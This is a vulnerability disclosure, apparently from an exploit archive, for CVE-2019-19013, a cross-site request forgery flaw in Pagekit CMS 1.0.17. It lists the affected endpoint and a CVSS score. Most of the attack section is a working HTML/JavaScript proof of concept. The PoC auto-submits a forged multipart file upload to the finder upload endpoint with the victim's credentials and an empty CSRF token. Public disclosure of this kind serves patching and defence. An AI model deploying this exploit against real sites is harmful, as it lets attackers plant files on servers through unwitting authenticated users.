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Pagekit CMS 1.0.17 Cross Site Request Forgery

Pagekit CMS 1.0.17 Cross Site Request Forgery
Posted Nov 21, 2019
Authored by Christian Bortone

Pagekit CMS version 1.0.17 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2019-19013
MD5 | 46229d9ac3cd2137bc8f46cfaabb010d

Pagekit CMS 1.0.17 Cross Site Request Forgery

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Title:
====

Pagekit CMS 1.0.17 Cross-Site Request Forgery (CSRF) vulnerability


Credit:
======

Name: Christian Bortone


CVE:

====

CVE-2019-19013


Date:
====

11/18/2019 (dd/mm/yyyy)


Vendor:
======

Pagekit is a modern and lightweight open source CMS.

Vendor link: https://pagekit.com/


Vulnerable Product:
==============

Pagekit CMS 1.0.17


Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in Pagekit 1.0.17 could allow an attacker to upload arbitrary file by removing the CSRF token from the request.


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

4.6 (Medium) (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)


Details:
=======

A Cross-Site Request Forgery (CSRF) vulnerability is discovered in Pagekit CMS which allows a remote attacker to upload forged files on the server without victim's knowledge by enticing authenticated user to visit attacker page/URL. The specific flaw exists within the handling of request to upload file in the store section. The application failed to validate CSRF token on the POST request (the token can be remove from the request). The request also contain a second token (WebkitFormBoudary) not tied to the session user. An attacker with less privilege on the system can operate a CRSF attack

Vulnerable module/page/application: /site/storage (upload file)


PoC Exploit code:
----------------------------------------------------------------------------

<html>

<body>

<script>history.pushState('', '', '/')</script>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http:\/\/localhost\/pagekit\/system\/finder\/upload", true);

xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryJze564AoGkbRRRUz");

xhr.setRequestHeader("Accept", "*\/*");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");

xhr.withCredentials = true;

var body = "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

"Content-Disposition: form-data; name=\"files[]\"; filename=\"test.jpg\"\r\n" +

"Content-Type: image/jpeg\r\n" +

"\r\n" +

"\r\n" +

"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

"Content-Disposition: form-data; name=\"path\"\r\n" +

"\r\n" +

"/\r\n" +

"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

"Content-Disposition: form-data; name=\"root\"\r\n" +

"\r\n" +

"storage\r\n" +

"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

"Content-Disposition: form-data; name=\"_csrf\"\r\n" +

"\r\n" +

"\r\n" +

"------WebKitFormBoundaryJze564AoGkbRRRUz--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

submitRequest();

</script>

<form action="#">

<input type="button" value="Submit request" onclick="submitRequest();" />

</form>

</body>

</html>


----------------------------------------------------------------------------

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